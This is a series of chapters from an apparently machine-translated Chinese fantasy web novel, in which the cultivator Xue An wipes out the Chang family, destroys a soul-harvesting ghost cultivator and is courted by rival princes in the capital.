    Mei Xia sipped, "Silly girl, don''t pretend to be stupid with me. You can take the initiative to lower your ranks to greet someone like you. It can be seen that this person is absolutely extraordinary. What did he write to you? Don''t you take it out?"


    Nie Yihan spit out his tongue and smiled helplessly: "I can''t hide anything from my sister''s eyes!"


    While speaking, Nie Yihan carefully took out the piece of paper written by Xue An from his arms and handed it over.


    Seeing this scene, Mei Xia''s eyes changed slightly. When he took the piece of paper and opened it, he was also stunned.


    "Sister, how does this little Ling write?" Nie Yihan asked proudly.


    "Good! Good! Good!" Mei Xia watched intently and said three good words in a row.


    "I also think this little order is wonderful, and it''s full of melancholy in just one line of words. It can be called the best poem in three years!" Nie Yihan said with a smile.


    Ke Meixia didn''t say a word, but after looking at it for a long time, he closed the paper again, and then sighed.


    "The word is a good word, but it''s a pity..."


    Nie Yihan''s expression changed, "What a pity?"


    "It''s a pity that the life of the lyricist is not long!"


    These words made Nie Yihan feel like a lightning strike. She didn''t recover until after a while, and then tremblingly asked, "Sister, why do you say that?"


    "Yihan, because of what, do you still use me to say it?"


    "Could it be..."


    Meixia nodded, "Yes, it''s Chang''s family!"


    "Do you know why I came to Dan Kwai Fang so late? Because of the news, the Chang family sent a large number of men to ambush near Dan Kwai Fang! And this news was told by Chang Haosi, the son of the Chang family! The reason is to deal with the young man who wrote this small order!"


    Every time Meixia said something, Nie Yihan''s complexion became paler. When she reached the back, her complexion was as pale as paper, and her whole body began to tremble uncontrollably.


    Of course she knew that Chang Haosi was offended, and Xue An would definitely be in danger.


    But she didn''t expect the danger to come so quickly, so quickly.


    Chang Haosi''s shot was so spicy that he even informed Dan Kwai Fong''s backstage Mei Xia in advance, which virtually blocked the possibility of Dan Kwai Fong''s help.


    Nie Yihan Bingxue is smart, and naturally sees everything behind it, but the more this happens, the more desperate she is.


    "Sister, is there no other way to save him?" Nie Yihan said in a low voice, begging in his voice.


    Mei Xia sighed, then shook her head, "Although I am also very sorry, but this is the truth. In this Bliss Fang, although we don''t need to look at the face of Chang''s family in Dan Kwai Fang, Chang Haosi informed me in advance, Do it in Dan Kwai Fong, this has already blocked all retreats, even if it is me, there is no way to forcibly stop it!"


    Nie Yihan bowed his head and said nothing.


    Although I met in half a day.


    But Xue An impressed her too deeply.


    That lonely young man, the talented man who made such a wonderful little order, would he die so humiliatingly in the dark night of Elysium, in the hands of a group of hooligans?


    Think about it...I''m really unwilling!


    At this moment, there was the sound of rain outside.


    Meixia came to the window, stared at the rain curtain outside, and sighed faintly: "It''s raining! The blood on the long street will fade faster if it is washed by rain!"


    Nie Yihan also looked at the rainy night outside the window, and couldn''t help but feel silly.


    can be at this moment.


    In the dark night sky, a bright light flashed suddenly.


    Mei Xia''s expression changed drastically, and she exclaimed, "How is it possible! How could there be such a sword intent..."


    The voice did not fall.


    There was another sword light like a blazing sun and a rainbow across the sky, piercing the sky.


    Then the sword light exploded like fireworks in the sky.


    in an instant.


    The dark clouds that had covered the stars and the moon were completely torn apart, revealing the sky full of stars.


    The rain naturally gradually stopped.


    Meixia stared at this scene dumbfounded, and then she began to tremble, and her teeth gurgled with fear.


    And in her eyes, it is full of infinite fear.


    She has practiced martial arts for many years and is good at swordsmanship.


    That''s why she can feel the horror of the sword light just now.


    What kind of power is that.


    is like facing a **** who can tear the world apart, making people unable to bear the slightest resistance I just want to kneel down and worship.


    And Meixia can be sure that no one in the entire Kyoto can issue this sword.


    Could it be.......


    Meixia was shocked by the thought that had arisen in her heart.


    And Nie Yihan also recovered at this time and asked in a panic: "Sister, what was that just now?"


    Meixia took a deep breath, and said calmly, "Just now that... the real strong man is showing miracles!"


    Nie Yihan was taken aback for a moment, and then asked with a full face of suspicion, "That...is it from the Chang family?"


    "Changjia?" Mei Xia sneered, then turned to look at the starry sky outside the window.


    In the night sky at this moment, the stars are like diamonds and the moon is like hooks.


    "If I guess right, soon...there will be no Changjia!"

 Chapter 924： Tang family shock

    The Tang family was also shaken.


    Because Tang Linger sent someone to follow Xue An secretly, she wanted to know where he settled.


    So when Xue An just stepped into the Bliss Square, Tang Linger, who was in Yiyang Square, already knew.


    In fact, she didn''t want to know it was impossible, because her close maid Qinger would rush into the back house every other hour to report the latest situation to her.


    "Miss, Brother Xue has gone to Paradise!"


    ran over again after a while.


    "Miss, Brother Xue has entered Dan Kwai Fang!"


    Every time she reports, Tang Ling''er''s complexion becomes ugly.


    Because she never expected that after Xue An left Tang Mansion, he went straight to Bliss Square and entered the famous Dan Kwai Fang.


    What does he want to do?


    Did you plan to sleep in the willows?


    These questions hovered in Tang Ling''er''s heart, making her gritted her teeth secretly with anger.


    Men...Is it true?


    The news that Qinger reported back then made her forget these trivial matters in an instant.


    "Miss, Brother Xue had a conflict with the Chang family in Dan Kwai Fang, then the Chang family will leave in anger!"


    Tang Ling''er was shocked but terrified when she heard Qinger''s words.


    is Chang''s family!


    As a businessman, Tang Linger naturally knew how powerful the Chang family that occupied the East City was.


    Actually, if their Tang family wants to do business in the East Market, they have to obediently pay tribute to the Chang family, otherwise they won''t be able to open it.


    And this Xue An actually dared to have a conflict with Chang Haosi in a place like Bliss Square, this is simply looking for death!


    Tang Ling''er is worried.


    Qing''er hesitated but stopped.


    "Anything else?"


    "Miss, the informant said that Brother Xue wrote a piece of paper in Na Dan Kwai Fong, and Mr. Nie, the leader of Na Dan Kwai Fong, personally took it into the second floor, and then hung out the white towel!


    Speaking of this, Qing''er''s cheeks are slightly red, but her eyes are full of tears.


    Tang Ling''er was also taken aback, and then sat there dejectedly, with many thoughts in her heart.


    is really amazing!


    A piece of paper at hand can make Dan Kwai Fong''s top card personally greet him, and he is willing to commit himself to sleep.


    Although in this era, it is common for men to enter and exit the fireworks willow lane.


    But for Tang Ling''er, who has strong self-esteem, she still finds it difficult to accept this fact.


    Haruer naturally saw this and was planning to persuade.


    Tang Ling''er waved her hand, "Continue to explore, remember, you must pay special attention to the movements of Chang''s family!"


    "Yes!"


    Qinger left anxiously.


    Tang Ling''er sat in the room, what happened today rushed to her heart, making her wonder whether to cry or laugh.


    The mother''s revenge is revenge, and the murderer has already come down.


    But my life-long events have become unpredictable and confused again.


    What should I do?


    Just as Tang Ling''er complained about herself, Qing''er ran in in a panic.


    "Miss, miss, it''s not good!"


    Tang Ling''er stood up suddenly, with a sharp expression, "What''s the matter?"


    "The Chang''s family...The Chang''s family suddenly transferred a lot of good players to Changlefang. It is estimated that they are heading for Brother Xue!"


    A cold light flashed in Tang Ling''er''s eyes, and then dimmed again.


    "What can I do if I go, the people of Chang''s family will never enter Dan Kwai Fang to make trouble!"


    said, she wanted to sit down.


    Qinger said anxiously: "Miss, I haven''t finished! Brother Xue didn''t stay upstairs at all, but went downstairs, and then led Chan''er and a man to eat wontons on the street of Changlefang! "


    "What? What you said is true?" Tang Ling''er was shocked.


    "It''s true, Miss, you can find a way to save Brother Xue!" Qing''er was about to cry.


    Tang Ling''er paced back and forth in the room, her expression extremely solemn.


    "This Xue An is simply too uncomfortable. Even if you are clean and self-conscious, you shouldn''t leave Dan Kwai Fong at this time! Don''t you know what will end up offending the Chang family?" Tang Ling''er whispered softly.


    At this moment.


    Tang Sheng opened the door and entered.


    "Father? Why are you here?" Tang Ling''er said a little surprised.


    Tang Sheng''s face was sinking, "No need to say more, I know the whole thing, Linger, I only ask you one question now!"


    Tang Ling''er looked solemnly, "Father, please tell me!"


    "What do you think of Xue An?"


    Tang Linger was startled slightly, then lowered her head.


    Tang Sheng took a deep breath, "Ling''er, it''s not the time to be a young girl at this time. I only need one of your attitudes. Do you have deep roots in him?"


    Tang Ling''er was silent for a moment, then nodded heavily, and said decisively: "Yes!"


    Tang Sheng nodded, "Very well! Since you think so, then I will give up this old face. No matter what the price, I will stop Chang Jia and protect this Xue An Zhouquan!"


    Tang Ling''er realized what her father was going to do now, and her heart warmed.


    "Father, what shall we do now?"


    Tang Sheng said in a deep voice: "The Chang family is big, but it hasn''t reached the point of covering the sky with one hand. There are still people in the Shengjing that make them feel jealous. Now our only way is to quickly ask an adult to appear and put this The matter is resolved!"


    Tang Ling''er understood that this was the most feasible way, so she nodded solemnly.


    "Then who are we going to ask?"


    "This person''s identity and status are indispensable! Otherwise, I won''t live in Chang''s house at all! I just got a news that Your Highness has just returned to Kyoto! If he can get him to act, then there will be room for reversal in this matter!"


    Tang Ling''er smiled with joy, "Have you returned to Beijing? That''s great, I will prepare a car and beg him now!"


    Tang Ling''er has a very good relationship with this highness.


    In fact, the reason why the entire Tang family was able to flourish in Kyoto was largely because this Yan Xi was backing up.


    Tang Sheng shook his head, "This matter is not trivial. There is also a backstage behind the Chang''s family. His Royal Highness will also pay the price if you make a shot. So if you can go alone, I have prepared a generous gift. We will leave immediately!"


    Tang Ling''er realized that even though he was called a business genius, he was still far behind his father who had worked hard for decades in the business world .


    With this kind of calmness, I sigh for nothing.


    The father and daughter did not dare to delay, and immediately got up, planning to go to the East Palace on Tiansheng Long Street to see His Royal Highness.


    can be at this time.


    A stream of light rushed straight into the sky, crushing the rain and fog all over the sky.


    "What is that? Meteor?" Tang Ling''er looked up, with a look of surprise and inexplicability.


    But Tang Sheng''s complexion suddenly became extremely frightened.


    "It''s... it''s the strong showing the mighty power! In the thriving Kyoto, when did such a peerless strong come again?"


    Just when Tang Sheng''s father and daughter were shocked on the spot.


    From the other side of the street, a Ding stumbled over. By the time of Tang Mansion Gate, he was out of breath, and his face was even more panicked.

 Chapter 925： Kyoto boiling

    Tang Ling''er recognized the person at a glance.


    Isn''t this the person who was sent out to follow Xue An?


    Why did he come back?


    Has things changed?


    So she immediately asked: "What happened? Why are you so alarmed?"


    This Ding Sese trembled. After a while, he barely calmed down, and then trembled: "Little...Miss, Xue...Master Xue..."


    "What''s wrong with Xue Gongzi?" Tang Ling''er said sharply, her heart clinging together.


    She thought Xue An had something wrong.


    "Master Xue used his own power to cut down more than a hundred people sent by the Chang family. Chang Haosi, the master of the Chang family, was also killed by him. The sword light that penetrated the sky just now was also shot by Master Xue. Out!"


    When these words came out, whether it was Tang Sheng or Tang Ling''er, they were all stupid.


    I don��t know how long it took.


    Tang Sheng gave a wry smile, "Xue An, how many surprises do you have to bring me?"


    And Tang Ling''er''s heart gradually sank into the abyss.


    Because she once liked Xue An, but this kind of like was condescending.


    And she does have the capital of pride.


    So until just now, she still thought that as long as she figured out a solution, she would definitely make Xue An obedient.


    But this incident ruthlessly shattered all her visions.


    She didn''t understand until then.


    It turns out that I am the humble one.


    And everything that I had imagined became illusory.


    at the same time.


    The entire Tiansheng Kyoto was awakened by this shocking sword.


    Whether it is the folk masters scattered everywhere, or the powerhouses in the King''s Mansion, they all looked up at the sky at this moment, and then all looked solemn and solemn.


    Who actually issued such a shocking sword?


    These questions hover in the hearts of these people.


    Then coincidentally, all the forces from all sides sent their most capable men to investigate.


    There is only one building in the entire Tiansheng Long Street.


    That is the East Palace.


    Yan Xi, who had just returned to Kyoto, was about to fall asleep, and was suddenly awakened by this momentum.


    And his personal guard Fang Tiancheng rushed over immediately.


    The two looked at each other, and Qi Qi said, "Could it be him?"


    Then Yan Xi smiled bitterly, "He had already raised his strength as high as possible, but now it seems that he is still underestimated!"


    Fang Tiancheng said solemnly: "I sent someone to investigate just now, and there should be results soon!"


    Yan Xi shook her head, "No matter what the result, I have to go!"


    Fang Tiancheng was startled, "Is it too risky for you to go in person?"


    "Hehe, believe it or not, if I don''t go, Lao Ba will go too! Let''s go! At least this time we are lucky and we are the first to meet him!" Yan Xi said lightly.


    As Yan Xi said.


    In another building that is not inferior to the East Palace in terms of scale and standard.


    A man with a face that looked exactly like Yan Xi, but with a little bit of hostility in the corners of his eyes and eyebrows, said in a deep voice: "Blessings or misfortunes are unpredictable for the sudden appearance of such a strong man, but I have to go and see! Otherwise, if he is recruited by my brother In the past, it was probably troublesome!"


    Just as the whole Tiansheng Kyoto started to boil.


    Xue An, the instigator, drank the last sip of soup in the bowl, and then sighed contentedly, "It tastes great!"


    Hu San and Lao Luo Guo stared blankly at the pile of bowls placed in front of Xue An.


    A full twenty bowls were eaten by Xue An alone.


    That is all the inventory of the Wonton stall.


    But these two people didn''t dare to show the slightest difference.


    Because the dead bodies all over the street are the best example.


    But Hu San still felt a little strange.


    He always felt that Xue An after eating this meal seemed more terrifying than before.


    Could it be that eating can make you stronger? This Hu San was puzzled.


    But he guessed right.


    The more Xue An eats now, the more spiritual energy he will transform into Devouring Xianjue, and the faster his strength will be restored.


    At this time, Xue An Chong Chan''er said: "Are you full?"


    Although �����er is also very scared.


    But she has an almost superstitious obedience to her young master, so she nodded.


    "I am full!"


    "Okay! Let''s go!"


    Xue An stood up, dropped a piece of silver in his hand, and left.


    Hu San and Lao Luo Guo were both dumbfounded.


    Especially Hu San, he summoned his courage and said in a trembled voice: "Xue...Sir, you...you just left?"


    "if not?"


    "But this..." Hu San looked at the corpses and blood all over the floor, his face pale as paper.


    Xue An smiled slightly, "Don''t worry, someone will come to treat the aftermath in a while! But you two may be a little troublesome, but as long as you say that you are my friend, there should be nothing wrong, and it will even become a chance for both of you!"


    "But Na Changjia..." Hu San was still a little worried.


    This sentence seemed to remind Xue An. He patted his forehead and smiled, "I almost forgot! Where does this Chang family live?"


    Hu San subconsciously pointed to the right, "He lives in the middle of the East City!"


    Xue An nodded, "Thank you!"


    then led Chan''er and turned to Dongshi.


    Looking at Xue An''s back, Hu San suddenly understood what he was going to do, and his heart was cold.


    But the ghost is so bad, he can''t help shouting, "Master Xue, the backstage of this Chang family is not that simple, you should be careful!"


    "Thank you!" Xue An''s voice came from the darkness, and later generations have disappeared.


    Just as Hu San and the old Luo Guo were standing there in a daze.


    Spies from all directions appeared on this street.


    And the tragic situation in front of them shocked all these people.


    "My God, what happened here?"


    "My mom, isn''t the one nailed to the wall, the son of the Chang family?"


    These screams came and went one after another.


    Then someone noticed Hu San and Lao Luo Guo.


    Actually, it��s not okay not to pay attention. The only survivors on the whole street are the two of them.


    "Hey, aren''t you Hu San? What happened?" someone recognized Hu San and exclaimed.


    Hu San sighed.


    He finally understood why Xue An said he would be a little troublesome.


    Looking at these people who came in front of me, they all came from the major forces in Tiansheng Kyoto.


    Everyone is not something he can afford.


    But then he smiled again.


    Because Xue An also said it, it can be said that he is friends with him.


    And Hu San believed that these people would pay any price for Xue An''s situation.


    Therefore, he bowed his hand with arrogance, "Good night, everyone, my name is Hu San, I know what you want to ask, and the person who did this is my friend!"


    There was a commotion in the crowd.


    Many people looked at each other, then put on a sneerful face, stepped forward and began to wrap around.


    And Hu San also gave full play to his specialties, and brought the story of this episode back to the heart, which is moved.


    Especially after hearing Xue An heading to Dongshi, everyone suddenly understood.


    Tonight''s Tiansheng Kyoto, I am afraid it will not be calm.

 Chapter 926： Changs Secret

    at the same time.


    Xue An led Chan''er out of the Fangmen of Dongshi.


    is different from Bliss.


    There is a curfew in this East City.


    At night, the gate will be closed.


    The market will not reopen until the next morning.


    Because this East City gathers vendors from all over the world, it has also become the richest place in Tensheng Kyoto.


    Being able to control this place for decades also proves the strength and heritage of the Chang family.


    "Master, the gate is closed, what should I do?" Chan''er asked.


    Xue An smiled slightly, raised his head and glanced at the tall gate, then slapped on it, and said lightly: "Who said it was closed?"


    "Yes..." Before Chan''er could speak.


    The gate in front of him collapsed suddenly.


    Chan''er was dumbfounded and speechless.


    Xue An lightly said: "Let''s go!"


    Said Xue An stepped inside.


    �er shuddered slightly, and finally regained consciousness, "Master, wait for me!"


    said, he hurried to catch up.


    The middle of the East City is a very large mansion.


    this moment.


    Brightly lit in this mansion.


    Patriarch Chang De has not yet fallen asleep.


    He is counting recent earnings today.


    Although I don''t know the exact number, it can be seen from the joy in his eyes and the thick stack of silver notes on the table, the harvest is obviously not cheap.


    Now, I can help the ancestors collect more precious "medicinal materials" again!


    Changde is thinking.


    Suddenly heard a loud and deafening noise coming from outside.


    He was taken aback for a moment, and then shouted: "What''s the matter?"


    The butler rushed in, "Master, the sound does not come from our Changjia. I don''t know exactly where it is, but someone has been sent to see it!"


    Hearing that his house is okay, Chang De first breathed a sigh of relief, and then as if thinking of something, he asked in a deep voice, "Has Haosi came back?"


    "Go back to master, not yet!"


    Changde frowned slightly.


    More than an hour ago, Chang Hao returned home angrily, and then ordered more than a hundred people to go out, saying that he was going to pack up a foreign boy who didn''t know the height of the sky.


    Changde didn''t take this seriously.


    For the Chang family, who has a big tree and deep roots, it is a simple matter without any difficulty to clean up an outsider without any foundation.


    How come you haven��t come back after so long?


    Even if his son did not come back, those subordinates should always send someone back to report the letter.


    Changde was a little annoyed, and was about to tell the housekeeper to send someone to see what was going on with his son.


    I heard a loud bang from the front yard gate, and then there were shouts and howls.


    Changde''s complexion changed, he rushed out of the study and ran to the front yard.


    When he had just turned a courtyard gate, he saw a frightening scene.


    I saw a teenager walking in step by step.


    The expert nursing homes in the Chang family are all swarming at this moment, trying to stop the boy.


    But no matter how powerful the offensive is, he can''t stop the young man even a bit.


    And every time he took a step, these so-called masters vomited blood and retreated.


    Seeing this scene, Chang De was shocked and shouted sharply: "Who are you? Why do you want to break into my Chang''s house?"


    The person who came is naturally Xue An.


    saw him raise his eyes and glance at Changde, "Who are you again?"


    "I am the head of the Chang family, Changde! Friends, is there any misunderstanding in this? Don''t worry, as long as you tell it, our Chang family will give you a satisfactory answer! After all, I like to make friends the most in Changde !"


    Changde was also surprised by Xue An''s powerful strength at the moment, so his words were very polite.


    Xue An smiled, "Your son took more than a hundred people to kill me. How are you going to give me an answer to this matter?"


    Changde was taken aback.


    That so-called alien boy that his son wants to deal with is him?


    But having been in charge of the Chang family for decades, the city of Changde was extremely deep, and there was nothing strange on the surface, but instead said with an apologetic expression.


    "There must be some misunderstanding in this, my friend, why don''t you say it in person when my son comes back, what do you think?"


    "Come back?" Xue An shook his head and chuckled, "Your son seems to be unable to come back!"


    Changde was startled slightly, "Friend, what do you mean by that?"


    Xue An did not answer his words. Instead, he raised his head, his eyes passed through Changde and others, and cast his eyes on the back house of Chang''s house shrouded in darkness.


    Then a cold smile appeared at the corner of his mouth.


    "Hid you here for a long time? It''s a good plan!"


    Changde didn''t hear exactly what Xue An said, and was about to ask.


    Xue An turned his head and smiled at Chang Desen, "Because your son and the more than a hundred people with him, I have already killed them!"


    what?


    Xue An''s words made Changde almost jumped up.


    Then his face sank, thinking that Xue An was just fooling himself.


    Not to mention that his son is good in his own strength. The more than one hundred people he brought with him were all good hands in the family. How could he die so quietly?


    So he said coldly: "Friend, this kind of thing is no joke."


    "Are you kidding?" Xue An shook his head, "No, of course I didn''t joke with you. In fact, I came this time to destroy your Changjia, but you still seem to hide a surprise here!


    Changde''s face was pale, and he was about to reprimand.


    At this moment.


    A servant of the Chang family rushed in with a panic face.


    "Master, something is not good! Master..."


    "What''s wrong with Master?" Chang De roared.


    "Master and the people he took with him are dead!"


    Changde heard it, his eyes went dark, and he almost fainted.


    "What you said is true?"


    "Master, I just came from over there, the young master was nailed to the wall, he can''t pull it off!"


    Changde''s face was pale and shaky, and then he looked at Xue An suddenly.


    "It''s you?"


    Xue An smiled slightly and nodded, "Yes, I did it, no thanks!"


    Changde''s expression is almost cannibalistic.


    "Kill him and avenge my son!" he roared loudly.


    Countless people from the Chang family came up to surround Xue An.


    But Changde took this opportunity and quietly backed away.


    Xue An sighed slightly, "To seek longevity in this world, or even commit a heinous crime, based on this, you and the one behind you will undoubtedly die today!"


    "and so����."


    Xue An showed her white teeth and smiled sensibly.


    "You still don''t bother to run away!"


    Hearing what Xue An said, Changde''s expression changed.


    Even if his son died, Changde has not been so moved.


    "You...how do you know..."


    "How did I know?" Xue An said lightly, and then stepped forward.

 Chapter 927： Ghost repair ancestor

    The attacks issued by the masters of the nursery school came to Xue An and disappeared like bubbles.


    And every time Xue An takes a step, countless people will vomit blood and fall.


    in an instant.


    The majority of these family guardians were killed and injured, and the rest were so courageous, they didn''t dare to face Xue An, but turned around and fled in a hurry.


    At this time, Xue An said lightly: "Because I am from the same place as the one you worshipped!"


    Changde was shocked, no longer had the courage to face Xue An, but turned around and ran to the backyard.


    Xue An didn''t kill him either, but followed without hurries.


    soon.


    Changde rushed into the backyard of Chang''s house, which was normally sealed and locked, and no one was allowed to enter, and then yelled at a small dark building: "Ancestor save me!"


    Xue An has also stepped into this small courtyard at this time.


    When he just stepped in.


    I saw the brilliance emerge from this small building, and then a sigh came from it.


    "Daoists, since they are all sealed here, they should pity each other with the same illness, why bother to force each other so hard?"


    Hearing this voice, Xue An looked indifferent, without sadness or joy.


    "First of all, we must figure out one thing, it is you, not me! and..."


    Xue An looked up at this small building.


    "What have you done to accumulate these spiritual powers in this barren land, do you need me to talk more?"


    There was silence in the small building, and then there was a sneer from someone.


    "It''s really ridiculous. It''s not you who are sealed, so why did you come here? Should this world''s catastrophe?"


    Xue An smiled slightly, "I said I came to find someone, do you believe it?"


    "Huh! I''m another decent guy, yes! In order to accumulate spiritual power, I did do a lot of bad things, but I just want to live, is this also wrong? It''s you..."


    "Tsk, look at your appearance, it shouldn��t have been long since you came here, you have actually recovered a little spiritual power! It seems that you have done nothing less than me!"


    The voice in the small building was full of mockery and triumph.


    Xue listened quietly, and then shook his head, ��It��s not wrong to live, but if you act recklessly, it��s wrong! As for me...��


    Xue Ansen smiled, "How do you deserve to be compared with me?"


    After that, Xue An stepped forward, made a fist, and blasted out.


    boom.


    This heavy fist hit directly on this small building.


    The brilliance above the small building flickered slightly, but it didn''t waver at all.


    Then there was a man��s laughter from the small building.


    "Don''t waste your energy, this small building is made by me using the souls of tens of thousands of people. In this world, it is invincible, you can''t break it!"


    "Friends of Daoist, listen to my advice. Now that you are in this swamp world, it is better to put aside those messy ethics and rely on your and my strength to be happy and happy here. Isn''t it a beautiful thing?"


    Xue An didn''t say a word.


    This person seems to see that there is a door, and can''t help but become more enthusiastic.


    "Actually, I don''t want to do anything like this, but hundreds of years of loneliness will torture you crazy, and do you believe it? Even as powerful as we are, in this ghost place will gradually age and eventually die!"


    "I have personally seen a golden immortal powerhouse die in front of me all the time, and at that time I swore that I must live!"


    "And looking at the appearance of fellow Taoists, it seems that you have a secret technique! If you really sympathize with the aboriginals of this world, you might as well share this secret technique with me. I promise you will never kill innocent people again. What do you think?"


    These voices are full of powerful charm.


    Xue An slowly raised his head and smiled at this small building.


    "You seem to think I can''t open your small building anymore?"


    "Hehe, my friend, without this confidence, do you think I can live for so long?"


    Xue An did not respond directly to this guy''s words, but looked at the runes on this small building, and then said lightly: "Look at the layout above, you should be a ghost repairer!"


    There was another silence in the small building, and then there was a suspicious voice, "You...you actually know Gui Xiu?"


    "Not only do I know, but...I can also see that before you enter here, your strength should be a true fairy! Right?"


    There was a trace of panic in the voice of the owner of the small building, "You...what is your origin? Why do you know so much?"


    Xue An smiled coldly, "Me? I am an existence you can''t imagine!"


    As he said, Xue An��s eyes were filled with light, and then raised his hand, using his hand as a sword, crashing down.


    boom.


    A sword light cut straight down, just at the top of this small black building.


    Xiaolou is safe and sound.


    The owner of the small building took a sigh of relief, and then he laughed: "It turns out to be a sword repairman, but unfortunately, if you are outside, I might be afraid of you, but in this world, your sword repairers can''t break my defense! "


    The voice just fell.


    just heard a continuous and crisp sound.


    Then this small black building began to disintegrate.


    "No!" The owner of the small building yelled in horror.


    Then in this small building that was beginning to shatter, a black shadow flew straight to the sky, trying to escape.


    Xue An waved his hand and said lightly: "Sword up!"


    said, around the black shadow, sword lights appeared, trapping it to death.


    The black shadow let out a desperate cry.


    "Why, why do you have such a powerful strength? What is the spiritual power in your body?"


    Xue An called for a hand.


    Jianmang flew back with a black shadow.


    Then the black shadow began to gradually show its true shape.


    Finally, a beautiful and charming woman appeared in front of Xue An and said with tears, "My lord, please..."


    Xue An waved impatiently, "If you dare to lie to me with this kind of illusion, I will kill you now!"


    The woman trembled, her face changed rapidly, and finally turned into a wretched man with a treacherous face.


    Then the man greeted Xue Anshen with horror, "My lord!"


    Xue An looked at him, and after a while, he looked down and said: "How long have you been here?"


    "It''s been a hundred years since I''m back... my lord!"


    "Have you been flourishing in Kyoto this day?"


    "Yes!"


    "Then I ask you, have you ever seen a demon girl appear in these years?" Xue An asked coldly.


    The ghost repairer thought for a long time with a frown, then shook his head, "I haven''t seen it!"


    "Are you sure?" Xue An frowned.


    Gui Xiu nodded hurriedly, "My lord, how dare I deceive you on this kind of thing! I have never seen it before!"


    Xue looked at him quietly, and after a while, he nodded.


    "Very good, I believe what you said!"


    This ghost Xiu felt happy.


    But the next moment, he felt that his whole figure had begun to shrink sharply, and after another glance, he had appeared in Xue An''s palm.


    "My lord, what are you going to do? No, forgive me!" The ghost screamed in fright.

 Chapter 928： Undercurrent

    Xue An was not moved at all, closing his fingers together, he wanted to make a fist.


    Upon seeing this, Gui Xiu knew that he had no luck, he couldn''t help but roared bitterly: "Boy, do you think killing me can solve everything? It''s useless! Then someone will avenge me, and I will be in hell. Waiting for you!"


    Xue An smiled coldly when he heard the words, "Vengeance? Okay! Then I''ll wait! As for hell...hehe, do you think you still have a chance to go to hell?"


    After that, Xue An shook it abruptly.


    Click.


    After a crisp sound.


    The spirit of this ghost repair was crushed by Xue Ansheng.


    Immediately afterwards, there was a black air rising into the sky, and countless bitter crying and howling faintly came from it.


    Xue looked at him quietly, and then said lightly: "Okay, those who are trapped in you have already fallen to the ground, and you will disperse separately and enter the reincarnation early!"


    said, Xue An waved his hand casually.


    The black air gradually dissipated.


    In the sky, countless transparent ghosts appeared.


    These phantoms directed at Xue An and then scattered away.


    finish all this.


    Xue An retracted his gaze and turned to look at Changde, who had been completely frightened.


    As far as he could see, Changde thumped and knelt on the ground, knocking his head like garlic.


    "My lord, this devil forced us to do these things. Our Chang family is also a victim, please forgive me!"


    "Victim?" Xue An smiled coldly, "Before, you didn''t say that!"


    Changde was stiff, and he wanted to say something.


    Xue An raised his hand, and a sword light cut straight past.


    ��.


    Changde''s head rose to the sky, blood splashed all over the ground, and then the dead body slowly fell to the ground.


    So far, this Chang family that has occupied the East City for decades has completely become history.


    After doing all this, Xue An looked around the audience and finally turned away.


    But not long after he left, an imperceptible black glow appeared in the sky, and then the black glow rose into the sky and disappeared into the sky in a flash.


    Xue An, who was walking outside, didn''t turn his head, but a smile appeared at the corner of his mouth.


    this moment.


    is outside the Chang''s house.


    �er is waiting anxiously.


    The screams from time to time from inside made Chan''er''s pretty face paler.


    She wanted to go in and see what was going on.


    But Xue An made it clear before leaving, and told her to wait here and not to go anywhere.


    Chan''er never dared to disobey Xue An''s orders, so she could only wait here.


    At this moment.


    A carriage came galloping.


    Waiting before and after the door, the carriage slowly stopped, and a man with gorgeous clothes and noble temperament came down from above, but there was always a trace of evil in the corners of his eyes and brows.


    When he saw Chang''s house whose door was broken to the ground, his expression was frozen.


    Then he noticed the Chan''er who was waiting beside the door. He was taken aback for a moment, and then returned to normal.


    "This must be the chan girl!"


    �� trembled, "You...who are you?"


    The man smiled slightly, "My name is Yan Peng, you can also call me the Eighth Prince!"


    "The emperor... the prince?" Chan''er was shocked.


    Yanpeng smiled and nodded, then looked up at the Chang family, "Chan''er girl, your son... how long have you been in?"


    When she mentioned Xue An, Chan''er became vigilant and shook her head, "I don''t know."


    Yanpeng laughed blankly, "Chan''er girl, I am not malicious, just curious!"


    "Then I don''t know either!"


    Just as Yanpeng was about to say something, another carriage came over.


    Then Yan Xi walked down from above.


    "Huh...you are not..." Chan''er recognized Yan Xi, she was taken aback first, and couldn''t help asking.


    Yan Xi smiled, "chan''er girl!"


    then turned his head to look at Yan Peng, and said lightly: "Lao Ba, you came very quickly!"


    As soon as I saw Yan Xi, Yan Peng��s pupils shrank instantly as if the size of a needle tip, and then sneered: "Your Highness, you are not slow!"


    Yan Xi didn''t seem to hear the ridicule in Yan Peng''s words. He just stared at the Chang family, who was gradually quieting down, and said lightly: "Lao Ba, I remember that many of the Chang family''s properties are for you! Now that the Chang family is overthrown, your loss...but it''s not small!"


    Hearing these words, Yan Peng''s face suddenly paled, and a bit of anger appeared in his eyes, but he quickly returned to normal, "Hehe, some money, nothing else!"


    Yan cherished the words, took a deep look at her eighth brother, and then smiled.


    "It sounds like what you are saying!"


    "you����."


    Yanpeng was about to refute, when he saw a black light rising into the sky in the back house of Chang''s family, and a gust of cloudy wind blew around.


    Yanpeng''s face changed drastically, and finally a trace of panic appeared in his eyes.


    how is this possible!


    Could it be said that even the living **** cannot stop this person?


    He was terrified in his heart.


    The black light dissipated.


    The invisible haze that had been suppressed above Chang''s house was also swept away.


    Then I saw Xue An, who was dressed in white clothes Shengxue, slowly walked out of the door.


    "Master!" Chan''er shouted in surprise.


    Xue An smiled and nodded.


    Yan Peng, who had originally looked gloomy, was full of smiles on his face at this moment, and then stepped forward and bowed his hands.


    "This must be Master Xue, I am..."


    The voice did not fall.


    Yanxi has also stepped forward, bending over respectfully, "My son, I didn''t expect we would meet again soon!"


    Xue An looked at him and smiled faintly, "Yes! It''s really fast!"


    Yanxi also smiled, "If the son doesn''t dislike it, can you go back to the house with me?"


    Xue An hesitated slightly, then nodded, "Alright!"


    Yan was overjoyed, and personally led the way, let Xue An and Chan''er get into the carriage, and then drove away.


    From beginning to end, Xue An never looked at this so-called eighth prince.


    When Yan Xi��s carriage was gone.


    Yanpeng stood in the same place, the smile on his face gradually disappeared, and his eyelids began to beat crazily, and finally snorted and walked away.


    The people from all the forces in Kyoto have already arrived but they all dare not come over, but are quietly watching from a distance.


    When I saw Xue An leaving with Yan Xi, while Yan Peng left in anger.


    These people are all moved by it.


    "It turns out that this newly born master belongs to His Royal Highness!"


    "Tsk, the eighth prince will stabilize his head from beginning to end, but he did not expect his highness to come back at this time! If the eighth prince can''t have countermeasures, his status will be lost!"


    "I don''t think it''s that simple. The Eighth Prince will never give up. What''s more, this Prince Xue overthrew the Chang family, and the Eighth Prince''s interests have also suffered a great loss!"


    "It seems that the future of Kyoto will be eventful!"


